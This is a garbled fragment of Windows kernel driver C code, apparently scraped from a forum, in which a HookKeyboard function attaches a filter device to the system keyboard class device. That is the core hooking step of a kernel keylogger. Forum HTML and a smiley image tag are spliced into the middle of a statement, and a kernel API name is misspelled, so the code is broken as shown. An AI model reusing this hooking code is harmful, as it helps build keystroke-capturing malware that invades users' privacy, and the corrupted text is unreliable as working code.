NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject){PDEVICE_OBJECT pKeyboardDeviceObject;NTSTATUS status = IocreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags& ~DO_DEVICE_INITIALIZING;RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION))0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src="images/smilies/default/titter.gif" smilieid="9" border="0" alt="" />DEVICE_EXTENSION pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";STRING ntNameString;UNICODE_STRING uKeyboardDeviceName;RtlInitAnsiString( &ntNameString, ntNameBuffer );RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE );IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);RtlFreeUnicodeString(&uKeyboardDeviceName);return STATUS_SUCCESS;} |